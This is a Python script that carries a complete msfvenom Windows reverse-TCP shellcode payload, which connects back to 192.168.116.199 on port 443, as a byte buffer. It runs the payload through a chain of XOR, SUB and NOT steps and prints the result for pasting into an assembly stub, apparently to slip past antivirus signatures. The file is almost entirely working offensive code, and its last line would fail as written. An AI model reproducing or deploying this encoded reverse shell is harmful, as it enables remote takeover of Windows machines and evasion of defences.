encoder.py

#!/usr/env/python3

# XOR 88, SUB 10, XOR 97, SUB 2, NOT Encoder
#based on: https://www.absolomb.com/2018-04-15-Linux-x86-Custom-Encoder/

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.116.199 LPORT=443 -f python
#[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
#[-] No arch selected, selecting arch: x86 from the payload
#No encoder or badchars specified, outputting raw payload
#Payload size: 324 bytes
#Final size of python file: 1582 bytes
buf =  b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += b"\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += b"\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x74\xc7\x68"
buf += b"\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
buf += b"\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec"
buf += b"\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89"
buf += b"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66"
buf += b"\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44"
buf += b"\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68"
buf += b"\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
buf += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68"
buf += b"\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
buf += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"

encoded_shellcode = ""
encoded_nasm = ""

for x in bytearray(buf) :
        
        # XOR 88
        y = x ^ 0x88

        # SUB 10
        x = y - 0x10
        
        # XOR 97      
        y = x ^ 0x97
        
        # SUB 2
        x = y - 0x2

        # NOT 
        z = ~x
        
        # shellcode format with \x
        encoded_shellcode += "\\x"
        
        # hex format with AND operation for 2's complement
        encoded_shellcode += "%02x" %(z & 0xff)

        # shellcode format for pasting in nasm file
        encoded_nasm += "0x"
        encoded_nasm += "%02x," %(z & 0xff)


print('Encoded shellcode:')
print(encoded_shellcode)

print('Shellcode for nasm:')
print(encoded_nasm)

print('Shellcode Length: %d' % len(bytearray(encoded_shellcode)))